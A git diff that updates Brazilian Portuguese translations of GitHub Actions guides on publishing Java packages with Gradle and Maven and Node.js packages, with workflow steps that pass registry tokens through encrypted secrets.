@@ -103,19 +103,19 @@ jobs:
 ```
 
 {% data reusables.github-actions.gradle-workflow-steps %}
-1. Runs the `gradle publish` command to publish to the `OSSRH` Maven repository. The `MAVEN_USERNAME` environment variable will be set with the contents of your `OSSRH_USERNAME` secret, and the `MAVEN_PASSWORD` environment variable will be set with the contents of your `OSSRH_TOKEN` secret.
+1. Executa o comando `publicação do gradle` para fazer a publicação no repositório do Maven `OSSRH`. A variável de ambiente `MAVEN_USERNAME` será definida com o conteúdo do seu segredo `OSSRH_USERNAME`, e a variável de ambiente `MAVEN_PASSWORD` será definida com o conteúdo do seu segredo `OSSRH_TOKEN`.
 
-   For more information about using secrets in your workflow, see "[Creating and using encrypted secrets](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)."
+   Para obter mais informações sobre o uso de segredos no seu fluxo de trabalho, consulte "[Criando e usando segredos encriptados](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)".
 
-## Publishing packages to {% data variables.product.prodname_registry %}
+## Publicar pacotes em {% data variables.product.prodname_registry %}
 
-Each time you create a new release, you can trigger a workflow to publish your package. The workflow in the example below runs when the `release` event triggers with type `created`. The workflow publishes the package to {% data variables.product.prodname_registry %} if CI tests pass. For more information on the `release` event, see "[Events that trigger workflows](/actions/reference/events-that-trigger-workflows#release)."
+Cada vez que você criar uma nova versão, você poderá acionar um fluxo de trabalho para publicar o seu pacote. O fluxo de trabalho no exemplo abaixo é executado quando o evento `versão` é acionado com o tipo `criado`. O fluxo de trabalho publica o pacote em {% data variables.product.prodname_registry %} se o teste de CI for aprovado. Para obter mais informações sobre o evento da `versão`, consulte "[Eventos que acionam fluxos de trabalho](/actions/reference/events-that-trigger-workflows#release)".
 
-You can define a new Maven repository in the publishing block of your _build.gradle_ that points to {% data variables.product.prodname_registry %}.  In that repository configuration, you can also take advantage of environment variables set in your CI workflow run.  You can use the `GITHUB_ACTOR` environment variable as a username, and you can set the `GITHUB_TOKEN` environment variable with your `GITHUB_TOKEN` secret.
+Você pode definir um novo repositório do Maven no bloco de publicação do _build.gradle_ que aponta para {% data variables.product.prodname_registry %}.  Nessa configuração do repositório, também é possível aproveitar as variáveis de ambiente definidas na execução do fluxo de trabalho de CI.  Você pode usar a variável de ambiente `GITHUB_ACTOR` como um nome de usuário e você pode definir a variável de ambiente `GITHUB_TOKEN` com seu segredo `GITHUB_TOKEN`.
 
 {% data reusables.github-actions.github-token-permissions %}
 
-For example, if your organization is named "octocat" and your repository is named "hello-world", then the {% data variables.product.prodname_registry %} configuration in _build.gradle_ would look similar to the below example.
+Por exemplo, se sua organização é denominado "octocat" e seu repositório é denominado de "hello-world", a configuração do {% data variables.product.prodname_registry %} no _build.gradle_ será parecida ao exemplo abaixo.
 
 {% raw %}
 ```groovy{:copy}
@@ -141,7 +141,7 @@ publishing {
 ```
 {% endraw %}
 
-With this configuration, you can create a workflow that publishes your package to {% data variables.product.prodname_registry %} by running the `gradle publish` command.
+Com esta configuração, você pode criar um fluxo de trabalho que publica seu pacote em {% data variables.product.prodname_registry %}, executando o comando `gradle publish`.
 
 ```yaml{:copy}
 {% data reusables.actions.actions-not-certified-by-github-comment %}
@@ -171,19 +171,19 @@ jobs:
 ```
 
 {% data reusables.github-actions.gradle-workflow-steps %}
-1. Runs the `gradle publish` command to publish to {% data variables.product.prodname_registry %}. The `GITHUB_TOKEN` environment variable will be set with the content of the `GITHUB_TOKEN` secret. {% ifversion fpt or ghes > 3.1 or ghae or ghec %}The `permissions` key specifies the access that the `GITHUB_TOKEN` secret will allow.{% endif %}
+1. Executa o comando `publicação do gradle` para publicar no {% data variables.product.prodname_registry %}. A variável de ambiente `GITHUB_TOKEN` será definida com o conteúdo do segredo `GITHUB_TOKEN`. {% ifversion fpt or ghes > 3.1 or ghae or ghec %}A chave de `permissões` especifica o acesso que o segredo `GITHUB_TOKEN` permitirá.{% endif %}
 
-   For more information about using secrets in your workflow, see "[Creating and using encrypted secrets](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)."
+   Para obter mais informações sobre o uso de segredos no seu fluxo de trabalho, consulte "[Criando e usando segredos encriptados](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)".
 
-## Publishing packages to the Maven Central Repository and {% data variables.product.prodname_registry %}
+## Publicar imagens no Repositório Central do Maven e em {% data variables.product.prodname_registry %}
 
-You can publish your packages to both the Maven Central Repository and {% data variables.product.prodname_registry %} by configuring each in your _build.gradle_ file.
+Você pode publicar seus pacotes no Repositório Central Maven e em {% data variables.product.prodname_registry %}, configurando cada um no seu arquivo _build.gradle_.
 
-Ensure your _build.gradle_ file includes a repository for both your {% data variables.product.prodname_dotcom %} repository and your Maven Central Repository provider.
+Certifique-se de que seu arquivo _build.gradle_ inclua um repositório para seu repositório {% data variables.product.prodname_dotcom %} e seu provedor do Repositório Central do Maven.
 
-For example, if you deploy to the Central Repository through the OSSRH hosting project, you might want to specify it in a distribution management repository with the `name` set to `OSSRH`. If you deploy to {% data variables.product.prodname_registry %}, you might want to specify it in a distribution management repository with the `name` set to `GitHubPackages`.
+Por exemplo, se fizer a implementação no Repositório Central por meio do projecto de hospedagem OSSRH, é possível que você deseje especificá-lo em um repositório de gerenciamento de distribuição com o `nome` definido como `OSSRH`. Se você fizer a implementação em {% data variables.product.prodname_registry %}, é possível que você deseje especificá-lo em um repositório de gerenciamento de distribuição com o nome `` definido como `GitHubPackages`.
 
-If your organization is named "octocat" and your repository is named "hello-world", then the configuration in _build.gradle_ would look similar to the below example.
+Se sua organização for denominada "octocat" e seu repositório for denominado "hello-world", a configuração em _build.gradle_ será parecida ao exemplo abaixo.
 
 {% raw %}
 ```groovy{:copy}
@@ -217,7 +217,7 @@ publishing {
 ```
 {% endraw %}
 
-With this configuration, you can create a workflow that publishes your package to both the Maven Central Repository and {% data variables.product.prodname_registry %} by running the `gradle publish` command.
+Com esta configuração, você pode criar um fluxo de trabalho que publica seu pacote no Repositório Central do Maven e em {% data variables.product.prodname_registry %}, executando o comando `publicação do gradle`.
 
 ```yaml{:copy}
 {% data reusables.actions.actions-not-certified-by-github-comment %}
@@ -250,6 +250,6 @@ jobs:
 ```
 
 {% data reusables.github-actions.gradle-workflow-steps %}
-1. Runs the `gradle publish` command to publish to the `OSSRH` Maven repository and {% data variables.product.prodname_registry %}. The `MAVEN_USERNAME` environment variable will be set with the contents of your `OSSRH_USERNAME` secret, and the `MAVEN_PASSWORD` environment variable will be set with the contents of your `OSSRH_TOKEN` secret. The `GITHUB_TOKEN` environment variable will be set with the content of the `GITHUB_TOKEN` secret. {% ifversion fpt or ghes > 3.1 or ghae or ghec %}The `permissions` key specifies the access that the `GITHUB_TOKEN` secret will allow.{% endif %}
+1. Executa o comando `publicação do gradle` para publicar no repositório do Maven `OSSRH` e em {% data variables.product.prodname_registry %}. A variável de ambiente `MAVEN_USERNAME` será definida com o conteúdo do seu segredo `OSSRH_USERNAME`, e a variável de ambiente `MAVEN_PASSWORD` será definida com o conteúdo do seu segredo `OSSRH_TOKEN`. A variável de ambiente `GITHUB_TOKEN` será definida com o conteúdo do segredo `GITHUB_TOKEN`. {% ifversion fpt or ghes > 3.1 or ghae or ghec %}A chave de `permissões` especifica o acesso que o segredo `GITHUB_TOKEN` permitirá.{% endif %}
 
-   For more information about using secrets in your workflow, see "[Creating and using encrypted secrets](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)."
+   Para obter mais informações sobre o uso de segredos no seu fluxo de trabalho, consulte "[Criando e usando segredos encriptados](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)".
diff --git a/translations/pt-BR/content/actions/publishing-packages/publishing-java-packages-with-maven.md b/translations/pt-BR/content/actions/publishing-packages/publishing-java-packages-with-maven.md
index f87da4e86f..2f38d9f9de 100644
--- a/translations/pt-BR/content/actions/publishing-packages/publishing-java-packages-with-maven.md
+++ b/translations/pt-BR/content/actions/publishing-packages/publishing-java-packages-with-maven.md
@@ -1,6 +1,6 @@
 ---
-title: Publishing Java packages with Maven
-intro: You can use Maven to publish Java packages to a registry as part of your continuous integration (CI) workflow.
+title: Publicar pacotes Java com Maven
+intro: Você pode usar o Maven para publicar pacotes Java para um registro como parte do seu fluxo de trabalho de integração contínua (CI).
 redirect_from:
   - /actions/language-and-framework-guides/publishing-java-packages-with-maven
   - /actions/guides/publishing-java-packages-with-maven
@@ -15,44 +15,44 @@ topics:
   - Publishing
   - Java
   - Maven
-shortTitle: Java packages with Maven
+shortTitle: Pacotes Java com Maven
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## Introdução
 
 {% data reusables.github-actions.publishing-java-packages-intro %}
 
-## Prerequisites
+## Pré-requisitos
 
-We recommend that you have a basic understanding of workflow files and configuration options. For more information, see "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)."
+Recomendamos que você tenha um entendimento básico dos arquivos de fluxo de trabalho e das opções de configuração. Para obter mais informações, consulte "[Aprenda {% data variables.product.prodname_actions %}](/actions/learn-github-actions)".
 
-For more information about creating a CI workflow for your Java project with Maven, see "[Building and testing Java with Maven](/actions/language-and-framework-guides/building-and-testing-java-with-maven)."
+Para obter mais informações sobre a criação de um fluxo de trabalho de CI para seu projeto Java com Maven, consulte "[Criando e testando o Java com Maven](/actions/language-and-framework-guides/building-and-testing-java-with-maven)"
 
-You may also find it helpful to have a basic understanding of the following:
+Você também pode achar útil ter um entendimento básico do seguinte:
 
-- "[Working with the npm registry](/packages/working-with-a-github-packages-registry/working-with-the-npm-registry)"
-- "[Environment variables](/actions/reference/environment-variables)"
-- "[Encrypted secrets](/actions/reference/encrypted-secrets)"
-- "[Authentication in a workflow](/actions/reference/authentication-in-a-workflow)"
+- "[Trabalhando com o registro npm](/packages/working-with-a-github-packages-registry/working-with-the-npm-registry)"
+- "[Variáveis de ambiente](/actions/reference/environment-variables)"
+- "[Segredos criptografados](/actions/reference/encrypted-secrets)"
+- "[Autenticação em um fluxo de trabalho](/actions/reference/authentication-in-a-workflow)"
 
-## About package configuration
+## Sobre a configuração do pacote
 
-The `groupId` and `artifactId` fields in the _pom.xml_ file create a unique identifier for your package that registries use to link your package to a registry.  For more information see [Guide to uploading artifacts to the Central Repository](http://maven.apache.org/repository/guide-central-repository-upload.html) in the Apache Maven documentation.
+Os campos `groupId` e `artefactId` no arquivo _x-id="4">pom.xml_ criam a um identificador exclusivo para o seu pacote que os registros usam para vincular o seu pacote a um registro.  Para obter mais informações, consulte [Guia para fazer o upload de artefatos no Repositório Central](http://maven.apache.org/repository/guide-central-repository-upload.html) na documentação do Apache Maven.
 
-The _pom.xml_ file also contains configuration for the distribution management repositories that Maven will deploy packages to. Each repository must have a name and a deployment URL. Authentication for these repositories can be configured in the _.m2/settings.xml_ file in the home directory of the user running Maven.
+O arquivo _pom.xml_ também contém a configuração para os repositórios de gerenciamento de distribuição nos quais o Maven implementará pacotes. Cada repositório deve ter um nome e uma URL de implementação. A autenticação para estes repositórios pode ser configurada no arquivo _.m2/settings.xml_ no diretório inicial do usuário que está executando o Maven.
 
-You can use the `setup-java` action to configure the deployment repository as well as authentication for that repository. For more information, see [`setup-java`](https://github.com/actions/setup-java).
+É possível usar a ação de `setup-java` para configurar o repositório de imeplementação, bem como a autenticação para esse repositório. Para obter mais informações, consulte [`setup-java`](https://github.com/actions/setup-java).
 
-## Publishing packages to the Maven Central Repository
+## Publicar pacotes no Repositório Central do Maven
 
-Each time you create a new release, you can trigger a workflow to publish your package. The workflow in the example below runs when the `release` event triggers with type `created`. The workflow publishes the package to the Maven Central Repository if CI tests pass. For more information on the `release` event, see "[Events that trigger workflows](/actions/reference/events-that-trigger-workflows#release)."
+Cada vez que você criar uma nova versão, você poderá acionar um fluxo de trabalho para publicar o seu pacote. O fluxo de trabalho no exemplo abaixo é executado quando o evento `versão` é acionado com o tipo `criado`. O fluxo de trabalho publica o pacote no Repositório Central Maven se o teste de CI for aprovado. Para obter mais informações sobre o evento da `versão`, consulte "[Eventos que acionam fluxos de trabalho](/actions/reference/events-that-trigger-workflows#release)".
 
-In this workflow, you can use the `setup-java` action. This action installs the given version of the JDK into the `PATH`, but it also configures a Maven _settings.xml_ for publishing packages. By default, the settings file will be configured for {% data variables.product.prodname_registry %}, but it can be configured to deploy to another package registry, such as the Maven Central Repository. If you already have a distribution management repository configured in _pom.xml_, then you can specify that `id` during the `setup-java` action invocation.
+Neste fluxo de trabalho, você pode usar a ação `setup-java`. Esta ação instala uma determinada versão do JDK no `PATH`, mas também define _settings.xml_ do Maven para publicação de pacotes. Por padrão, o arquivo de configurações será definido como {% data variables.product.prodname_registry %}. No entanto, ele pode ser configurado para implementar outro registro de pacote, como, por exemplo, o Repositório Central do Maven. Se você já tem um repositório de gerenciamento de distribuição configurado em _pom.xml_, você poderá especificar esse `id` durante a chamada da ação `setup-java`.
 
-For example, if you were deploying to the Maven Central Repository through the OSSRH hosting project, your _pom.xml_ could specify a distribution management repository with the `id` of `ossrh`.
+Por exemplo, se você estava implantando no Repositório Central do Maven por meio do projeto de hospedagem OSSRH, seu _pom.xml_ poderia especificar um repositório de gerenciamento de distribuição com o `id` de `ossrh`.
 
 {% raw %}
 ```xml{:copy}
@@ -69,9 +69,9 @@ For example, if you were deploying to the Maven Central Repository through the O
 ```
 {% endraw %}
 
-With this configuration, you can create a workflow that publishes your package to the Maven Central Repository by specifying the repository management `id` to the `setup-java` action. You’ll also need to provide environment variables that contain the username and password to authenticate to the repository.
+Com esta configuração, é possível criar um fluxo de trabalho que publique seu pacote no Repositório Central do Maven especificando o `id` do gerenciamento do repositório para a ação `setup-java`. Você também deverá fornecer variáveis de ambiente que contenham o nome de usuário e senha para fazer a autenticação no repositório.
 
-In the deploy step, you’ll need to set the environment variables to the username that you authenticate with to the repository, and to a secret that you’ve configured with the password or token to authenticate with.  For more information, see "[Creating and using encrypted secrets](/github/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)."
+Na etapa de implementação, você deverá definir as variáveis de ambiente para o nome de usuário com o qual deseja fazer a autenticação no repositório e para um segredo que você configurou com a senha ou token para autenticação.  Para obter mais informações, consulte "[Criando e usando segredos encriptados](/github/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)".
 
 
 {% raw %}
@@ -101,25 +101,25 @@ jobs:
 ```
 {% endraw %}
 
-This workflow performs the following steps:
+Este fluxo de trabalho executa os seguintes passos:
 
-1. Checks out a copy of project's repository.
-1. Sets up the Java JDK, and also configures the Maven _settings.xml_ file to add authentication for the `ossrh` repository using the `MAVEN_USERNAME` and `MAVEN_PASSWORD` environment variables.
+1. Verifica uma cópia do repositório do projeto.
+1. Configura o Java JDK e o arquivo _settings.xml_ do Maven para adicionar autenticação ao repositório `ossrh` usando as variáveis de ambiente `MAVEN_USERNAME` e `MAVEN_PASSWORD`.
 1. {% data reusables.github-actions.publish-to-maven-workflow-step %}
 
-   For more information about using secrets in your workflow, see "[Creating and using encrypted secrets](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)."
+   Para obter mais informações sobre o uso de segredos no seu fluxo de trabalho, consulte "[Criando e usando segredos encriptados](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)".
 
-## Publishing packages to {% data variables.product.prodname_registry %}
+## Publicar pacotes em {% data variables.product.prodname_registry %}
 
-Each time you create a new release, you can trigger a workflow to publish your package. The workflow in the example below runs when the `release` event triggers with type `created`. The workflow publishes the package to {% data variables.product.prodname_registry %} if CI tests pass. For more information on the `release` event, see "[Events that trigger workflows](/actions/reference/events-that-trigger-workflows#release)."
+Cada vez que você criar uma nova versão, você poderá acionar um fluxo de trabalho para publicar o seu pacote. O fluxo de trabalho no exemplo abaixo é executado quando o evento `versão` é acionado com o tipo `criado`. O fluxo de trabalho publica o pacote em {% data variables.product.prodname_registry %} se o teste de CI for aprovado. Para obter mais informações sobre o evento da `versão`, consulte "[Eventos que acionam fluxos de trabalho](/actions/reference/events-that-trigger-workflows#release)".
 
-In this workflow, you can use the `setup-java` action. This action installs the given version of the JDK into the `PATH`, and also sets up a Maven _settings.xml_ for publishing the package to {% data variables.product.prodname_registry %}. The generated _settings.xml_ defines authentication for a server with an `id` of `github`, using the `GITHUB_ACTOR` environment variable as the username and the `GITHUB_TOKEN` environment variable as the password. The `GITHUB_TOKEN` environment variable is assigned the value of the special `GITHUB_TOKEN` secret.
+Neste fluxo de trabalho, você pode usar a ação `setup-java`. Esta ação instala a versão determinada do JDK no `PATH`, e também configura _settings.xml_ do Maven para a publicação {% data variables.product.prodname_registry %}. O _settings.xml_ gerado define a autenticação para um servidor com um `id` do `github`, usando a variável de ambiente `GITHUB_ACTOR` como o nome de usuário e a variável de ambiente `GITHUB_TOKEN` como a senha. A variável de ambiente `GITHUB_TOKEN` foi atribuída ao valor do segredo especial `GITHUB_TOKEN`.
 
 {% data reusables.github-actions.github-token-permissions %}
 
-For a Maven-based project, you can make use of these settings by creating a distribution repository in your _pom.xml_ file with an `id` of `github` that points to your {% data variables.product.prodname_registry %} endpoint.
+Para um projeto baseado no Maven, você pode usar essas configurações ao criar um repositório de distribuição no seu arquivo _pom.xml_ com um `id` do `github` que aponta para seu ponto final {% data variables.product.prodname_registry %}.
 
-For example, if your organization is named "octocat" and your repository is named "hello-world", then the {% data variables.product.prodname_registry %} configuration in _pom.xml_ would look similar to the below example.
+Por exemplo, se sua organização é denominada "octocat" e seu repositório é denominado "hello-world", a configuração do {% data variables.product.prodname_registry %} no _pom.xml_ será parecida ao exemplo abaixo.
 
 {% raw %}
 ```xml{:copy}
@@ -136,7 +136,7 @@ For example, if your organization is named "octocat" and your repository is name
 ```
 {% endraw %}
 
-With this configuration, you can create a workflow that publishes your package to {% data variables.product.prodname_registry %} by making use of the automatically generated _settings.xml_.
+Com esta configuração, você pode criar um fluxo de trabalho que publica seu pacote em {% data variables.product.prodname_registry %}, fazendo uso do _settings.xml_ gerado automaticamente.
 
 ```yaml{:copy}
 name: Publish package to GitHub Packages
@@ -161,19 +161,19 @@ jobs:
           GITHUB_TOKEN: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %}
 ```
 
-This workflow performs the following steps:
+Este fluxo de trabalho executa os seguintes passos:
 
-1. Checks out a copy of project's repository.
-1. Sets up the Java JDK, and also automatically configures the Maven _settings.xml_ file to add authentication for the `github` Maven repository to use the `GITHUB_TOKEN` environment variable.
+1. Verifica uma cópia do repositório do projeto.
+1. Configura o Java JDK e também configura automaticamente o arquivo _settings.xml_ do Maven para adicionar autenticação para o repositório do `github` do Maven para usar a variável de ambiente `GITHUB_TOKEN`.
 1. {% data reusables.github-actions.publish-to-packages-workflow-step %}
 
-   For more information about using secrets in your workflow, see "[Creating and using encrypted secrets](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)."
+   Para obter mais informações sobre o uso de segredos no seu fluxo de trabalho, consulte "[Criando e usando segredos encriptados](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)".
 
-## Publishing packages to the Maven Central Repository and {% data variables.product.prodname_registry %}
+## Publicar imagens no Repositório Central do Maven e em {% data variables.product.prodname_registry %}
 
-You can publish your packages to both the Maven Central Repository and {% data variables.product.prodname_registry %} by using the `setup-java` action for each registry.
+Você pode publicar seus pacotes no Repositório Central Maven e em {% data variables.product.prodname_registry %}, usando a ação de `setup-java` para cada registro.
 
-Ensure your _pom.xml_ file includes a distribution management repository for both your {% data variables.product.prodname_dotcom %} repository and your Maven Central Repository provider. For example, if you deploy to the Central Repository through the OSSRH hosting project, you might want to specify it in a distribution management repository with the `id` set to `ossrh`, and you might want to specify {% data variables.product.prodname_registry %} in a distribution management repository with the `id` set to `github`.
+Certifique-se de que seu arquivo _pom.xml_ inclui um repositório de gerenciamento de distribuição tanto para seu repositório {% data variables.product.prodname_dotcom %} como para o seu provedor de Repositório Central do Maven. Por exemplo, se você fizer a implementação em um Repositório Central por meio do projeto de hospedagem OSSRH, é possível que você deseje especificá-la em um repositório de gerenciamento de distribuição com o `id` definido como `ossrh`. Além disso, você pode desejar especificar {% data variables.product.prodname_registry %} em um repositório de gerenciamento de distribuição com o `id` definido como `github`.
 
 ```yaml{:copy}
 name: Publish package to the Maven Central Repository and GitHub Packages
@@ -212,14 +212,14 @@ jobs:
           GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}{% endraw %}
 ```
 
-This workflow calls the `setup-java` action twice.  Each time the `setup-java` action runs, it overwrites the Maven _settings.xml_ file for publishing packages.  For authentication to the repository, the _settings.xml_ file references the distribution management repository `id`, and the username and password.
+Este fluxo de trabalho chama a ação `setup-java` duas vezes.  Cada vez que a ação `setup-java` é executada, ela sobrescreve o arquivo _settings.xml_ do Maven para a publicação de pacotes.  Para autenticação no repositório, o arquivo _settings.xml_ faz referência ao `ID`do repositório de gerenciamento de distribuição e ao nome de usuário e senha.
 
-This workflow performs the following steps:
+Este fluxo de trabalho executa os seguintes passos:
 
-1. Checks out a copy of project's repository.
-1. Calls `setup-java` the first time. This configures the Maven _settings.xml_ file for the `ossrh` repository, and sets the authentication options to environment variables that are defined in the next step.
+1. Verifica uma cópia do repositório do projeto.
+1. Chama `setup-java` pela primeira vez. Isso configura o arquivo _settings.xml_ do Maven para o repositório `ossrh` e define as opções de autenticação para variáveis de ambiente definidas na próxima etapa.
 1. {% data reusables.github-actions.publish-to-maven-workflow-step %}
-1. Calls `setup-java` the second time. This automatically configures the Maven _settings.xml_ file for {% data variables.product.prodname_registry %}.
+1. Chama `setup-java` pela segunda vez. Isso configura automaticamente o arquivo _settings.xml_ do Maven para {% data variables.product.prodname_registry %}.
 1. {% data reusables.github-actions.publish-to-packages-workflow-step %}
 
-   For more information about using secrets in your workflow, see "[Creating and using encrypted secrets](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)."
+   Para obter mais informações sobre o uso de segredos no seu fluxo de trabalho, consulte "[Criando e usando segredos encriptados](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)".
diff --git a/translations/pt-BR/content/actions/publishing-packages/publishing-nodejs-packages.md b/translations/pt-BR/content/actions/publishing-packages/publishing-nodejs-packages.md
index 1e2b38be48..fc23ed8417 100644
--- a/translations/pt-BR/content/actions/publishing-packages/publishing-nodejs-packages.md
+++ b/translations/pt-BR/content/actions/publishing-packages/publishing-nodejs-packages.md
@@ -1,6 +1,6 @@
 ---
-title: Publishing Node.js packages
-intro: You can publish Node.js packages to a registry as part of your continuous integration (CI) workflow.
+title: Publicar pacotes do Node.js
+intro: Você pode publicar pacotes do Node.js em um registro como parte do seu fluxo de trabalho de integração contínua (CI).
 redirect_from:
   - /actions/automating-your-workflow-with-github-actions/publishing-nodejs-packages
   - /actions/language-and-framework-guides/publishing-nodejs-packages
@@ -16,50 +16,50 @@ topics:
   - Publishing
   - Node
   - JavaScript
-shortTitle: Node.js packages
+shortTitle: Pacotes do Node.js
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## Introdução
 
-This guide shows you how to create a workflow that publishes Node.js packages to the {% data variables.product.prodname_registry %} and npm registries after continuous integration (CI) tests pass.
+Este guia mostra como criar um fluxo de trabalho que publica pacotes do Node.js em {% data variables.product.prodname_registry %} e nos registros npm após os testes de integração contínua (CI) serem aprovados.
 
-## Prerequisites
+## Pré-requisitos
 
-We recommend that you have a basic understanding of workflow configuration options and how to create a workflow file. For more information, see "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)."
+Recomendamos que você tenha um entendimento básico das opções de configuração do fluxo de trabalho e de como criar um arquivo do fluxo de trabalho. Para obter mais informações, consulte "[Aprenda {% data variables.product.prodname_actions %}](/actions/learn-github-actions)".
 
-For more information about creating a CI workflow for your Node.js project, see "[Using Node.js with {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/using-nodejs-with-github-actions)."
+Para obter mais informações sobre a criação de um fluxo de trabalho de CI para seu projeto Node.js, consulte "[Usando Node.js com {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/using-nodejs-with-github-actions)".
 
-You may also find it helpful to have a basic understanding of the following:
+Você também pode achar útil ter um entendimento básico do seguinte:
 
-- "[Working with the npm registry](/packages/working-with-a-github-packages-registry/working-with-the-npm-registry)"
-- "[Environment variables](/actions/reference/environment-variables)"
-- "[Encrypted secrets](/actions/reference/encrypted-secrets)"
-- "[Authentication in a workflow](/actions/reference/authentication-in-a-workflow)"
+- "[Trabalhando com o registro npm](/packages/working-with-a-github-packages-registry/working-with-the-npm-registry)"
+- "[Variáveis de ambiente](/actions/reference/environment-variables)"
+- "[Segredos criptografados](/actions/reference/encrypted-secrets)"
+- "[Autenticação em um fluxo de trabalho](/actions/reference/authentication-in-a-workflow)"
 
-## About package configuration
+## Sobre a configuração do pacote
 
- The `name` and `version` fields in the *package.json* file create a unique identifier that registries use to link your package to a registry. You can add a summary for the package listing page by including a `description` field in the *package.json* file. For more information, see "[Creating a package.json file](https://docs.npmjs.com/creating-a-package-json-file)" and "[Creating Node.js modules](https://docs.npmjs.com/creating-node-js-modules)" in the npm documentation.
+ Os campos `nome` e `versão` no arquivo *package.json* cria um identificador único que os registros usam para vincular seu pacote a um registro. Você pode adicionar um resumo para página de listagem do pacote ao incluir um campo `descrição` no arquivo *package.json*. Para obter mais informações, consulte "[Criando um pacote package.json](https://docs.npmjs.com/creating-a-package-json-file)" e "[Criando módulos Node.js](https://docs.npmjs.com/creating-node-js-modules)" na documentação do npm.
 
-When a local *.npmrc* file exists and has a `registry` value specified, the `npm publish` command uses the registry configured in the *.npmrc* file. {% data reusables.github-actions.setup-node-intro %}
+Quando um arquivo *.npmrc* local existe e tem um valor de `registro` especificado, o comando `publicação do npm` usa o registro configurado no arquivo *.npmrc*. {% data reusables.github-actions.setup-node-intro %}
 
-You can specify the Node.js version installed on the runner using the `setup-node` action.
+Você pode especificar a versão do Node.js instalada no executor usando a ação `setup-node`.
 
-If you add steps in your workflow to configure the `publishConfig` fields in your *package.json* file, you don't need to specify the registry-url using the `setup-node` action, but you will be limited to publishing the package to one registry. For more information, see "[publishConfig](https://docs.npmjs.com/files/package.json#publishconfig)" in the npm documentation.
+Se você adicionar etapas ao seu fluxo de trabalho para configurar os campos `publishConfig` no seu arquivo *package.json*, você não precisará especificar o registry-url usando a ação de `setup-node`. No entanto, você estará limitado à publicação do pacote em um registro. Para obter mais informações, consulte "[publishConfig](https://docs.npmjs.com/files/package.json#publishconfig)" na documentação npm.
 
-## Publishing packages to the npm registry
+## Publicar pacotes no registro npm
 
-Each time you create a new release, you can trigger a workflow to publish your package. The workflow in the example below runs when the `release` event triggers with type `created`. The workflow publishes the package to the npm registry if CI tests pass.
+Cada vez que você criar uma nova versão, você poderá acionar um fluxo de trabalho para publicar o seu pacote. O fluxo de trabalho no exemplo abaixo é executado quando o evento `versão` é acionado com o tipo `criado`. O fluxo de trabalho publica o pacote no registro npm se o teste de CI for aprovado.
 
-To perform authenticated operations against the npm registry in your workflow, you'll need to store your npm authentication token as a secret. For example, create a repository secret called `NPM_TOKEN`. For more information, see "[Creating and using encrypted secrets](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)."
+Para executar operações autenticadas para o registro npm em seu fluxo de trabalho, você precisará armazenar seu token de autenticação npm como um segredo. Por exemplo, crie um repositório secreto denominado `NPM_TOKEN`. Para obter mais informações, consulte "[Criando e usando segredos encriptados](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)".
 
-By default, npm uses the `name` field of the *package.json* file to determine the name of your published package. When publishing to a global namespace, you only need to include the package name. For example, you would publish a package named `npm-hello-world-test` to `https://www.npmjs.com/package/npm-hello-world-test`.
+Por padrão, o npm usa o campo `nome` do arquivo *package.json* para determinar o nome do seu pacote publicado. Ao publicar em um namespace global, você precisa incluir apenas o nome do pacote. Por exemplo, você publicaria um pacote denominado `npm-hello-world-test` em `https://www.npmjs.com/package/npm-hello-world-test`.
 
-If you're publishing a package that includes a scope prefix, include the scope in the name of your *package.json* file. For example, if your npm scope prefix is octocat and the package name is hello-world, the `name` in your *package.json* file should be `@octocat/hello-world`. If your npm package uses a scope prefix and the package is public, you need to use the option `npm publish --access public`. This is an option that npm requires to prevent someone from publishing a private package unintentionally.
+Se você estiver publicando um pacote que inclui um prefixo de escopo, inclua o escopo no nome do arquivo *package.json*. Por exemplo, se o prefixo de escopo do npm é octocat e o nome do pacote é hello-world, o `nome` no seu arquivo *package.json* deverá ser `@octocat/hello-world`. Se seu pacote npm usar um prefixo de escopo e for público, você deverá usar a opção `npm publish --access public`. Essa é uma opção que o npm requer para impedir que alguém publique um pacote privado de forma não intencional.
 
-This example stores the `NPM_TOKEN` secret in the `NODE_AUTH_TOKEN` environment variable. When the `setup-node` action creates an *.npmrc* file, it references the token from the `NODE_AUTH_TOKEN` environment variable.
+Este exemplo armazena o segredo `NPM_TOKEN` na variável de ambiente `NODE_AUTH_TOKEN`. Quando a ação `setup-node` cria um arquivo *.npmrc*, ela faz referência ao token da variável de ambiente `NODE_AUTH_TOKEN`.
 
 {% raw %}
 ```yaml{:copy}
@@ -84,7 +84,7 @@ jobs:
 ```
 {% endraw %}
 
-In the example above, the `setup-node` action creates an *.npmrc* file on the runner with the following contents:
+No exemplo acima, a ação `setup-node` cria um arquivo *.npmrc* no executor com o conteúdo a seguir:
 
 ```ini
 //registry.npmjs.org/:_authToken=${NODE_AUTH_TOKEN}
@@ -92,17 +92,17 @@ registry=https://registry.npmjs.org/
 always-auth=true
 ```
 
-Please note that you need to set the `registry-url` to `https://registry.npmjs.org/` in `setup-node` to properly configure your credentials.
